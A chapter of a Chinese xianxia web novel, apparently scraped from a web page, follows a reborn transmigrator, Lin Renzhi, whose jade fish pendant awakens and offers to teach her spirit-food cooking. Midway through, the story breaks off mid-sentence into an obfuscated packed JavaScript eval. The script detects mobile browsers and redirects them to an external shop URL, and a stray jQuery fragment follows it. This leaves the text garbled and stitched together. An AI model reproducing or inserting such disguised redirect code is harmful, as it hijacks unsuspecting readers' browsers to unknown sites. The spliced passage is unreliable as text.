林稔知一觉睡醒已是一个时辰之后,她睁开眼的时候面带恍惚,眼神虚焦没有焦点,像是不知道自己究竟身在何处。
直至大脑认出自己闺房的房梁,她才想起来,自己已经不在太虚宗。
难怪刚刚下意识想运转功法,却发现身体那般沉重堵塞,没有丝毫灵气。
林稔知慢吞吞地从床边做起,上辈子在太虚宗努力的十几年于她而言是难以抹掉的存在,即使她心里已经开始慢慢接受了自己死了又重生一次的事情,但很显然,她的身体并没有完全接受。
她的身体还在保持着时刻应激防备的状态,警惕着环境里每一处可能会散发出危险的气息,并不相信这是一个能够让自己安心的地方。
林稔知揉了揉了自己额角,努力让自己的脑子不去想每一个太虚宗弟子都会的基础心法,尽量保持自己大脑空空一片。
太虚宗门内功法不外传,尽管它很好,她这一辈子也要习惯不用它。除非她有能力做到即使她会,太虚宗那群人也拿她没办法,那她就可以用。
但很显然,她现在没有那个能力,也没有那个底气,去和太虚宗立下的规则说不。
为了不惹祸上身,她最好是现在开始就把太虚宗的心法彻底忘掉。
林稔知静静地呼出一口浊气,不知该庆幸还是沮丧,她这会因为还没有引气入体,所以即使脑海里知道太虚宗的功法,也无法使用。就算是站在她父母面前,也不会知道,他们这个女儿其实运转太虚宗的基础心法比他们还流畅。
—
慢吞吞将衣服穿戴好,林稔知没有重新将那块小鱼玉佩挂在腰带上,而是稍稍洗漱清醒了一番后,一直拿在手里把玩。
走向书房的路上,林稔知脑子里一直思考着自己若是不进太虚宗的话,能干什么,期间手指不自觉地摩挲着油润温暖的玉石,指尖修长灵活,一看平时就没少盘核桃。
即使不想承认,林稔知这会也不得不承认,来修仙界几十年,自己的想法和价值观也无形间开始趋同于这个修仙界,这会大脑里除了修仙,居然一时半会想不出别的东西。
明明她穿越来之前,她不是这样的。
她以前明明是一个拥有诸多爱好的阳光开朗的大学生,怎么到了修仙界,脑子就变成了只知道修炼追赶的木头了?
究竟是哪里出问题了?
林稔知有些崩溃地握着拳头,连脑带头地在桌上砸了砸,发出一声哀嚎,“该死的修仙界,你把我毁了!”
你毁了一个青春阳光的大学生!你不羞愧吗!
手里还握着玉佩,林稔知崩溃的碎碎念的时候没发现手里的玉佩隐隐发着莹光,注意力全在思考自己日后能做什么,以及要如何减少自己和原著女主相关的事情产生交集。
林稔知趴在书桌上,眼神发空,她其实对原著女主叶若瑶并没有太多的想法,因为根本没见过面,对其的印象只有上一辈子同窗嘴里艳羡,以及小说里洋洋洒洒的各种描述。
叶若瑶长相中等,但天赋异禀,极品火灵根,别人还在苦巴巴的引气入体,试图分辨自己能在空气中捕捉到多少灵气,她的经脉已经无师自通从空气中捕捉灵气反哺自己。
用人话讲就是,她无需引用功法吸取灵气,她自己站在那里只是呼吸,身体就已经在修炼了。
只要在呼吸哪怕睡着也在修炼·现实版。
非常标准的一个修炼天才,她一进宗就是内门弟子,诸多长老都因她动了收徒的心思。
这么好的苗子,想来是个人都会心动,谁不想让自己辛辛苦苦积攒起来的衣钵后继有人呢?
就连太虚宗那位极少收徒,性格相当放荡不羁的云焱长老也动了收徒的心思。甚至为了收女主为徒不惜和自己师姐云霖长老当场扯皮,几百岁的化神期长老当着小辈们的面扯皮,那个画面想想也是很美。
林稔知自己是没有见识过那个场景,但小说描写的那个画面她倒还记得一二,当初她趴在宿舍床上看书里的描写时候,还觉得女主不愧是天之骄子,样样都好。且女主并非长相不好看,实际上那只是因为她还没彻底觉醒天赋,等她彻底觉醒后,她将显露出自己真实的大美女的底子。
爽文不就是要这个爽感吗?扮猪吃老虎,看着大佬为自己大打出手,无数机缘紧赶慢赶地凑过来,小手一挥,天下我有,爽文就该这么写。
小小的林稔知只觉得爽得她神清气爽,滂湃激昂。
结果等她自己穿进这个世界后,林稔知就一个想法:谢邀,一点不爽。
没人告诉过她,那些长老的气息一个个恐怖得一要命,即使泄露出一点点地威压,都能把她这个小菜鸟震晕到半小时缓不过神来啊?
有时候,要是对方稍微一个不注意,气息重一点了,她能直接被压趴。
嗯,字面意义上的,趴下来。
林稔知刚进宗的那几天,授课的长老为了镇压一群皮猴,都会露几手进行威慑。尽管那个时候,长老们都是有所克制的,但林稔知还是被震得脑袋一晕又一晕。
那种发自内心地感受到危机和恐惧的感觉至今还镌刻在她的身体里。
也是那个时候,林稔知才真正的意识到小说里总是轻描淡写地诉说着的修仙界残酷的丛林法则究竟意味着什么。
自那以后,林稔知再也不敢倦怠,也将自己卷王的印象刻在了同窗和各位老师的心中。
只可惜,天赋是她无法逾越的一座大山,很多教导过她的长老都曾对她感慨过,就凭她的心性,但凡她天赋再好一点,进入内门也绝非妄想。
而现在,林稔知现在意识到自己除了天赋,还有个无法逾越的大山——气运。
但凡运气好点,她都不会成为那只莫名其妙出现的妖兽的蹄下亡魂!!!
*
心思绕了一圈又一圈,林稔知还是一片迷茫,望着窗外的天,嘴里嘟囔着:“好想喝奶茶……好想吃炸鸡……好想吃火锅……”
以前心情不好的时候,舍友总会带她去打卡收藏夹里的美食小馆,带着她吃得满嘴流油心情舒缓后再回学校。
结果根本没想到,她穿越来的这个地方,看起来人五人六的,实际上都是一群不吃饭的变态!
连人类最基础的进食欲望都给进化掉了,灭人欲灭到这个地步,这个世界还没有天下大乱真是太不容易了。
林稔知嘟嘟囔囔着,手里一直握着的玉佩不知怎么突然滑出手心,咕噜噜地在书桌上滚了圈打了个转。
林稔知:???
啥情况?
她娘给她的玉佩不会成精了吧?
上辈子已经练出了一定的胆量,林稔知这会也没被太吓到,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950340|214155||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心中好奇居多。
她伸手戳了戳小鱼身子,“活的死的?”
玉佩没有任何反应。
林稔知:?
怎么动了一下就开始装死了?
“不会是什么小鬼附在上面了吧?”林稔知开始思索自己过去看过的典籍,“但是不是说能够让神魂寄宿的玉必须都是极品吗,这玉看起来,也不像啊……”
不知哪句惹怒了对方,原本在桌上装死的玉佩突然弹起来,狠狠地砸了一下林稔知的手背,明明是光滑圆润的鱼鳞,竟在她手背滑出一道深深地血痕。
林稔知吃痛,连忙收回手,“你怎么还打人啊?”
一道微小的声音在她耳边响起,“是你先骂人的!”
林稔知纳闷:“我什么时候骂你了?”
她这开口说了有五句话吗?哪句骂人了?
天老爷,这年头,不会连块玉都要欺负她吧?
—
“没眼光的兔崽子,不识货就算了,还拿我跟养魂玉那种没法生灵的家伙比,你活该!”声音虽然小,但不难听出气囊囊的,要不是体型太小,估计还想再拍林稔知几巴掌。
林稔知想去找点止血的药,听到这话,刚抬起来的屁股又一屁股坐下来,“等等,你的意思是,你比养魂玉贵?”
这玉不会在骗她吧?养魂玉在外面可是巴掌大一块能卖到几十万甚至上百万的灵石,那可是价值连城的家伙。
而她眼前这块……林稔知开始怀疑是不是自己眼睛出了问题,她上看下看左看右看……也没看出来个花来。
“别用你那个没眼力的眼睛看了,就你这水平,看成斗鸡眼都看不出来啥。”玉佩没好气道,要不是这小家伙的气息是这数百年来唯一一个唤醒它的,它半句话都懒得说,“我问你,你是不是很想吃饭?”
林稔知眨眨眼,身体不自觉地往后缩了缩,浑身肌肉无意识地绷紧,整个人呈现出防备的姿态,“不用,我刚吃饱,不想吃。”
“……”
这姿态,防谁呢?她把它当什么了?!!!
强忍着脾气,玉佩加重语气,一字一句道:“我是问你,想不想吃香喷喷的灵食?”
这话听起来更奇怪了,林稔知眉头皱起来,“你究竟是什么东西?邻家稚童都知道不能随便吃陌生人的东西,你究竟想干什么?”
玉佩:……
深呼吸……深呼吸……这是主人家后代的崽,它不发脾气……个屁!!!!
“老子问你想不想学习做饭!做灵食!你把老子当什么了?就你这么一个引起入体都没成功,全身经脉堵塞了一大半的小崽子,我能骗你什么?”玉佩一阵输出,“你有什么值得我好骗的,我骗你我不如去骗你娘,你娘好歹还有能升金丹的天赋呢!我要你一个乳臭未干的兔崽子干什么!”
林稔知讪讪,只觉得自己的耳朵一阵刺痛,耳膜隐隐作痛,师傅求你别念了。
“我的错我的错……”林稔知连忙求饶,她这会是真的对猴哥感同身受了,“但你是不是找错人了?我们家不是干厨子的。”
玉佩听到林稔知的话,立马反驳道:“哈?怎么可能?你们苏家不是干厨子的这天下就要没人是厨子了。”
这下轮到林稔知茫然了……她的祖父祖母居然是干厨子的吗?她怎么不知道?